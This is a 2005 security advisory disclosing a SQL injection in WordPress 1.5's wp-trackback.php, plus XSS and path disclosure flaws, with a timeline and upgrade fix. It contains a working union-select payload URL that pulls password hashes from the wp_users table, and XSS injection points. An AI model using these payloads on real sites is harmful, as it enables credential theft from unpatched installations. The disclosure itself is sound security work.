[BuHa Security] Wordpress SQL-Injection

[Thomas Waldegger <bugtraq () morph3us org>]

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| BuHa Security-Advisory #1     |    May 17th, 2005 |
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| Vendor   | Wordpress                              |
| URL      | http://wordpress.org/                  |
| Version  | <= Wordpress 1.5                       |
| Risk     | Moderate (SQL-Injection)               |
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o Description:
=============

WordPress is a state-of-the-art semantic personal publishing platform
with a focus on aesthetics, web standards, and usability. 

Visit http://wordpress.org/ for detailed information.

o SQL-Injection:
===============

The most critical vulnerability in the 1.5 release of wordpress is an
SQL-Injection in `wp-trackback.php'. It's not easily exploitable
because you do not get a result when you inject a valid query but it's
possible to bruteforce values in the tables - for example the password
hashes.

Here some details:
The parameter `tb_id' in `wp-trackback.php' is not validated correctly
and there are no quotes in the SQL-query so an attacker is able to 
insert sql commands.

$pingstatus = $wpdb->get_var("SELECT ping_status FROM $wpdb->posts
WHERE ID = $tb_id");
        
Example: (I converted the POST-request into a GET-request.)

> $tb_id = 1 union select user_pass,0 from wp_users
> $url = bla
> $title = bla

</wp-trackback.php?tb_id=1%20union%20select%200,user_pass%20from%20
wp_users&url=bla&title=bla>

By injecting this query I get following databae error:

> WordPress database error:
> [The used SELECT statements have a different number of columns]
> SELECT ping_status FROM wp_posts WHERE ID = 1 union select 0, 
> user_pass from wp_users

When I insert "1 union select user_pass from wp_users" as value for
`tb_id' I get no error message because the query was well-formed -
logical. Through the possibility to insert any sql-command it's
possible to 'reconstruct' values of the tables.

o XSS:
=====

</wp-admin/edit.php?s=[XSS]&submit=Search>
</wp-admin/post.php?action=confirmdeletecomment&comment=1&p=[XSS]>

o Path Disclosure:
=================

</wordpress-1.5-strayhorn/wp-content/themes/*>
</wordpress-1.5-strayhorn/wp-includes/*>
</wordpress-1.5-strayhorn/wp-admin/*>

> Fatal error: Call to undefined function add_filter() in
> [...]/htdocs/testenv/blogs/wordpress/wordpress-1.5-strayhorn/
> wp-content/themes/classic/comments-popup.php on line 3

o Disclosure Timeline:
=====================

17 Apr 05 - Security flaws discovered.
19 Apr 05 - Vendor contacted.
10 May 05 - Vendor released bugfixed version.
17 May 05 - Public release.

o Solution:
==========

Upgrade to wordpress 1.5.1 [1]

o Credits:
=========

Thomas Waldegger <bugtraq () morph3us org>
BuHa-Security Community - http://buha.info/board/

[1] http://wordpress.org/development/2005/05/one-five-one/